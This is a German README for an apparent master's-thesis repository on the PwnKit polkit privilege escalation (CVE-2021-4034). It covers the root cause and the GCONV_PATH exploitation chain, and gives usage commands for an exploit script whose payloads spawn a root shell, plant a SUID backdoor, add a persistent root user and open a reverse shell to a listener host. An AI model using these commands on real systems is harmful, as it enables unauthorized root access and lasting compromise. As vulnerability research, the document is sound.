CVE-2021-4034 — PwnKit Lokale Privilegienausweitung · Masterarbeit Forschung

Speicherkorruptions-Schwachstelle im pkexec-Dienstprogramm von polkit
Lokale Privilegienausweitung → root durch Out-of-Bounds-Schreibzugriff
Betroffen: polkit 0.105-31 und früher · Patch: polkit 0.105-33 (Januar 2022)

Interaktive Root-Shell erlangt durch CVE-2021-4034 - PwnKit

Beschreibung

Dieses Repository enthält meine Masterarbeit-Forschung zu CVE-2021-4034, einer Schwachstelle mit hohem Schweregrad (CVSS 7.8) zur lokalen Privilegienausweitung im pkexec-Dienstprogramm von polkit, allgemein bekannt als PwnKit.

Die Schwachstelle entsteht durch einen Out-of-Bounds-Schreibzugriff in der Argumentverarbeitungslogik von pkexec. Wenn pkexec mit einem leeren oder manipulierten argv ausgeführt wird, liest und schreibt es über die Grenzen des argv-Arrays hinaus in das envp-Array, wodurch ein unprivilegierter lokaler Benutzer bösartige Umgebungsvariablen injizieren kann, die anschließend als gemeinsam genutzte Bibliothek geladen werden und beliebigen Code mit Root-Rechten ausführen.

Mein Beitrag

Repository-Struktur

CVE-2021-4034/
├── README.md                        # Diese Datei
├── LICENSE                          # MIT-Lizenz
│
├── exploit/
│   └── pwnkit.py                    # Erweiterter Exploit mit mehreren Payloads
│
└── docs/
    ├── screenshots/                 # Exploitation-Demonstrationen
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Ursachenanalyse der Schwachstelle
        ├── 02-exploitation-chain.md # Aufschlüsselung der Exploitation-Kette
        └── 03-timeline.md           # CVE-Zeitleiste

Schnellstart

Voraussetzungen

• Linux-System mit anfälligem polkit (pkexec --version zeigt 0.105 oder früher)
• GCC-Compiler (apt install gcc)
• Python 3.6+
• Normales Benutzerkonto (kein Root erforderlich)
• Isolierte VM für Tests empfohlen

Verwendung

# Interaktive Root-Shell (Standard)
python3 exploit/pwnkit.py -p shell

# Ausführungskontext überprüfen
python3 exploit/pwnkit.py -p whoami

# Benutzerdefinierten Befehl als Root ausführen
python3 exploit/pwnkit.py -p custom -c "id"

# SUID-Backdoor unter /tmp/.sh erstellen
python3 exploit/pwnkit.py -p backdoor_suid

# Dauerhaften Root-Benutzer hinzufügen
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse Shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Payload-Referenz

Technischer Überblick

Ursache der Schwachstelle

pkexec verarbeitet sein eigenes argv, um das ausgeführte Programm zu lokalisieren. Wenn es mit argc == 0 (leerer Argumentvektor) aufgerufen wird, schlägt die Grenzprüfung von argv stillschweigend fehl. Der anschließende Out-of-Bounds-Lesevorgang behandelt envp[0] als argv[1], und der Out-of-Bounds-Schreibzugriff zurück in envp ermöglicht es einem Angreifer, eine Umgebungsvariable durch einen manipulierten Pfad zu ersetzen. Wenn pkexec später g_printerr() aufruft, lädt es GCONV_PATH aus der nun vom Angreifer kontrollierten Umgebung und lädt eine vom Angreifer bereitgestellte gemeinsam genutzte Bibliothek mit Root-Rechten.

argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Exploitation-Kette

1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

Wichtige technische Details

Demonstrationen

Interaktive Root-Shell

ID-Überprüfung

Whoami-Überprüfung

SUID-Backdoor

Root-Benutzer hinzufügen

Reverse Shell

Benutzerdefinierter Befehl

Empirische Tests

Alle Tests wurden auf einer isolierten VirtualBox-VM mit Ubuntu 20.04 LTS und polkit 0.105-26 (anfällig) ohne Netzwerkzugriff durchgeführt.

Technische Dokumentation

Akademischer Kontext

Diese Forschung ist Teil meiner Masterarbeit in Cybersicherheit (UCAM — Campus Internacional de Ciberseguridad), die N-Day-Schwachstellen in mehreren Umgebungen analysiert.

Diese CVE repräsentiert den Vektor der Linux-lokalen Privilegienausweitung innerhalb der Arbeit und demonstriert:

• Speichersicherheitsschwachstellen in SUID-Binärdateien
• Out-of-Bounds-Schreibausnutzung durch Manipulation von Umgebungsvariablen
• Injection von gemeinsam genutzten Bibliotheken über die glibc-iconv-Infrastruktur
• Multi-Payload-Post-Exploitation-Framework-Design

Schlüsselwörter: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit

Autor

Annais Molina (devianntsec) — Masterstudent in Cybersicherheit

Danksagungen

• Qualys Research Team — Ursprüngliche Entdeckung und verantwortungsvolle Offenlegung
• arthepsy — Früher Proof-of-Concept-Referenz
• berdav — Öffentliche PoC-Referenzimplementierung

Lizenz

MIT-Lizenz — siehe LICENSE

Rechtlicher Hinweis

Dieses Repository wird nur zu Bildungs- und Sicherheitsforschungszwecken im Rahmen einer akademischen Masterarbeit bereitgestellt. Alle Tests wurden auf isolierten virtuellen Maschinen ohne Netzwerkzugriff durchgeführt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugte Nutzung gegen Systeme ist illegal und kann strafrechtlich verfolgt werden.